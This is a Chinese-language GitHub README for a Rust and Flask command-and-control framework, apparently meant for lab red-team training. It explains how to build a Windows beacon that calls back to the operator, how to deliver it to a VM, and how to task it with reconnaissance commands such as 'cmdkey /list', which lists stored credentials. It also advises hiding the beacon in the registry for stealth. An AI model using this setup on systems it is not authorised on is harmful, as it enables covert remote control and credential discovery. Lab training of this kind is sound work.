rbx86/C2Revenant
GitHub: rbx86/C2Revenant
一个基于 Rust 和 Flask 的轻量级 C2 框架,用于安全教学与攻防演练中的远程命令执行与信标管理模拟。
Stars: 0 | Forks: 0
# C2 框架指南 :D

## 环境搭建
1. 安装系统依赖
如果你宿主机/开发环境的系统是 Fedora 43:
```
sudo dnf install python3 python3-pip python3-venv rust cargo mingw64-gcc mingw64-binutils -y
```
2. 添加 Rust Windows 交叉编译目标
在你存放 `Cargo.toml` 的目录下运行此命令(默认路径:`/beacon-rs`)。
```
rustup target add x86_64-pc-windows-gnu
```
3. 在 `config.toml` 中添加链接器
```
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
```
4. 安装服务端 Python 依赖
在存放 `app.py` 的服务端子目录中运行此命令。
```
cd server
python3 -m venv venv
source venv/bin/activate
pip install flask flask-cors rich
```
5. 构建 beacon
```
cd beacon-rs
cargo build --release --target x86_64-pc-windows-gnu
```
Windows 可执行的 beacon 文件存放在 `beacon-rs/target/x86_64-pc-windows-gnu/release/beacon.exe`。
在构建 beacon 之前,你必须编辑配置文件,以确保它会回连到正确的 IP。
1. 在你的宿主机上运行 `ifconfig`
2. 复制 `WLO1` 或你正在使用的其他无线网卡的 IP 地址。
3. 将 `config.rs` 中的 C2_HOST HTTP 链接修改为 `"http://:8080"`。
4. 在防火墙中放行 8080 端口(可选):`sudo firewall-cmd --add-port=8080/tcp --permanent` 然后执行 `sudo firewall-cmd --reload`
5. 下载 beacon
你可以通过在可执行文件所在路径启动一个 Python 开发服务器,然后从虚拟机的浏览器中访问该服务器地址来下载 beacon。
```
cd target/x86_64-pc-windows-gnu/release
python3 -m http.server 9999
# 在虚拟机的浏览器中
http://:9999
```
## 如何运行模拟
1. 运行 Flask 服务器
```
cd server
source venv/bin/activate
python app.py
```
使用此功能可以监控 beacon 交互,并排查你在 beacon 逻辑和执行过程中可能遇到的任何问题。它使用 HTTP 协议。你可以通过 HTTP 状态码来监控服务器和 beacon 的健康状况:
- `200`:OK;一切正常
- `400`:Bad Request;beacon 发送了格式错误的 JSON 或缺少必填字段(例如 UUID)
- `404`:Not Found;beacon UUID 不在数据库中
- `500`:Internal Server Error;Flask 服务器内部发生崩溃(例如模块导入问题。修复方法:修改 `__init__.py`)
2. 运行 Operator Shell(使用 `Rich` 制作的 TUI)
```
cd /server
source venv/bin/activate
python -m core.operator
```
在这里你可以轮询 beacon 命令,并查询 beacon 的健康状况、轮询的命令、beacon 任务及其结果。
3. 启动 Windows 10 虚拟机并运行 beacon(通过 CMD)
```
cd C:\Users\Alder\Downloads
beacon.exe
```
这将会启动 beacon,之后你不需要再输入任何内容。
## 使用 Shell Operator
1. 列出 beacons
```
beacons
```
这将会列出 beacons 的 UUID 及其他信息(如其状态:Alive/Dead)。选择一个正在运行的 beacon 的 UUID。
2. 选择要操作的 beacon
```
use db7a3644
```
我们选择的 beacon UUID 将用于轮询命令、查询任务及其结果。
3. 执行 shell 命令
```
shell whoami
shell hostname
shell ipconfig /all
shell systeminfo
shell dir C:\
shell wmic process list brief
shell cmdkey /list
```
当你轮询 shell 命令时,你会在输出中看到它们各自的 ID。稍后你可以使用这些 ID 来查看结果。另外,若要检查 ID,你可以运行:
```
tasks
```
这将返回任务及其 ID 和状态(`pending`、`sent`、`done`、`error`)。如果某个任务一直处于 pending 状态太久,可能意味着 beacon 未在虚拟机中运行或已经崩溃。重新运行它,被轮询的命令将会执行。
4. 查看特定任务的输出
```
results bcd079ce
```
从 `tasks` 中获取 ID 并运行 `results `,或者直接运行 `history`(但其输出目前仍然比较混乱且会被截断)。
5. 取消选择 beacon/检查另一个 beacon
```
beacons
use
```
## 杂项
要在 shell operator 中查询可用命令,只需运行 `help`。你可以使用 `clear` 清屏,并使用 `exit` 或 `quit` 退出 operator。
数据库(c2.db)会持久化所有内容;beacons、任务和结果在服务器重启后依然会保留。
重启虚拟机并不会使重启前运行的 beacon 失效。每台机器只被分配一个 beacon,它存储在:
```
C:\Users\Alder\AppData\Local\Temp\.beacon_id
```
这里存储了一样东西:beacon UUID。只要这个文件存在,每次你运行 `beacon.exe` 时,它都会从这里读取 UUID,因此服务器会将其识别为同一个 beacon,并且你之前的所有任务/历史记录都会关联到它。
在实际的攻防场景中,请将 beacon 存放在像注册表 `HKCU\Software\Microsoft\` 这样隐蔽的地方,因为如果用户运行磁盘清理,`%TEMP%` 中的文件可能会被删除。
## 重置演练环境
若要重置演练工作流,你需要:
1. 删除数据库 `rm c2.db`:下次运行 `python app.py` 时会自动重建。
2. 删除 UUID 文件 `del %USERPROFILE%\AppData\Local\Temp\.beacon_id`:下次在 CMD 中运行 `beacon.exe` 时会自动重建。
# 祝你玩得开心!
```
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀⠀⠀⠀⣀⡤⠴⢖⣶⣶⣤⣀⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⢧⡀⠀⠈⠁⠔⠋⠉⠁⠀⠀⠐⣎⠑⢆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠒⠚⠛⣧⣤⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠸⡆⠈⣇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡜⠀⠀⢀⣤⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⢼
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⣸⢤⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠂⠉⠁⠓⢆⣀⣤⣶⣒⣲⢦⡀⠀⠧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣧⠏⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠁⠀⠀⠀⠀⡼⠋⢠⢿⠿⢏⣟⢹⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣼⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠁⡀⠀⠀⠀⠀⠁⠀⠀⠀⠈⢹⡿⢨⠇⠀⠀⠀⣠⣄⠀⠀⠀⠀⢀⡴⢡⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡐⣥⡀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠉⡼⠁⠀⠀⣀⠳⠛⠀⠀⠀⣠⠟⢠⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡇⢿⣷⢆⣀⠀⣀⠀⠀⢠⠟⠀⠘⠁⠀⠀⠀⠉⠀⠀⠀⠀⣰⠋⣠⠟⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠈⢽⣿⠿⢼⣾⣿⠾⢀⡴⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠼⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠺⠂⠀⠀⠀⠀⢠⡉⠟⡻⣛⡧⠞⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠶⢦⡀⠀⠀⠀⠀⠀⠀⠈⠛⠋⠁⠀⠀⠀⠀⠀⣀⠀⠀⣀⠀⠀⠀⣠⡾⢋⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⠛⠀⠀⠀⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠈⠛⠁⣠⡶⠋⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢐⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡼⠋⠀⣰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠆⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢾⢸⠀⢀⡄⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⡴⠚⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡦⡟⠸⡧⣾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣀⣀⡀⠀⠀⣀⣀⡤⣤⡴⠒⠃⠁⠀⠑⠓⡒⢲⣖⣒⡦⠤⠀⠘⠉⠁⠛⡚⠒⠢⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡠⢖⣿⠟⠚⠀⠀⠀⠀⠈⠉⠉⠉⢩⣟⡆⢀⣆⡖⠛⠉⠁⠀⠀⣀⣀⣠⠤⠴⢒⣉⡠⠜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠑⠦⠬⣭⣙⣓⣒⣒⣒⣒⣂⣀⣰⣿⠉⡷⣴⣎⣺⣌⣋⣉⣩⠭⠥⠴⠖⠒⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠀⠀⠀⢿⢸⡆⠀⠀⠀⠀⢠⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⢸⢸⠀⠀⠀⠀⠀⠘⠚⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠀⠀⢀⣾⠀⠀⠀⣠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⣠⠏⠀⠀⠀⠈⣿⠀⠀⠀⠉⠀⣠⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⢇⡼⠋⠀⠀⠀⠀⠀⢿⠀⠀⠀⠀⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣷⠟⠁⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡾⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣀⡀⠀⢀⡶⠿⣟⣦⡉⠳⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⡼⡇⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⣏⣶⣞⣦⣄⣉⠷⣏⠀⠘⠚⠛⢻⣄⢻⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢰⠃⡇⠀⠀⠻⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⢻⣾⣿⣯⣛⡿⡟⠳⠃⠀⠀⠀⠀⠀⠀⠙⠈⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢾⠀⢳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⡏⣘⣻⣤⣿⠁⠐⠀⠀⠀⠀⠀⠀⠀⠀⢀⣶⢰⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠸⡄⠈⢧⠀⠀⠀⢠⡀⠀⠀⠀⠀⠀⠛⠁⠀⠀⣇⢨⣿⣿⠗⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡏⣸⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⣤⡈⢳⡀⠀⢸⠀⠀⠀⢼⠶⠀⠀⠀⠀⠀⢹⡀⢹⣮⣏⠆⡀⠀⠀⠀⠀⠀⢰⣶⣿⣿⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠁⣀⢙⣦⣸⣾⣇⣀⠀⠀⠀⠀⣀⡤⠖⠀⢳⠄⠛⢿⣽⣠⠀⠀⠀⠀⠀⠘⣼⣻⡾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣨⢻⠝⠲⠤⣄⣛⣚⣉⣁⣀⣀⣀⣀⡤⠴⠂⠐⠹⠳⣷⣀⠀⢈⣯⡿⢟⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⠁⢸⡄⠀⠀⠀⠀⠀⠀⠉⠈⠀⠀⠀⠀⠀⠀⠀⠢⣄⡀⠈⠁⠐⠘⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠋⠀⠀⠸⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠓⠒⠒⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
```
标签:C2框架, Flask, Gophish, HTTP协议, MinGW, Python, Rust, Windows可执行文件, x86_64架构, 中高交互蜜罐, 信标, 可视化界面, 命令与控制, 安全学习资源, 恶意软件开发, 攻击模拟, 数据展示, 无后门, 毕业设计, 红队, 网络信息收集, 网络基础设施, 网络安全, 网络流量审计, 跨平台编译, 逆向工具, 隐私保护, 驱动签名利用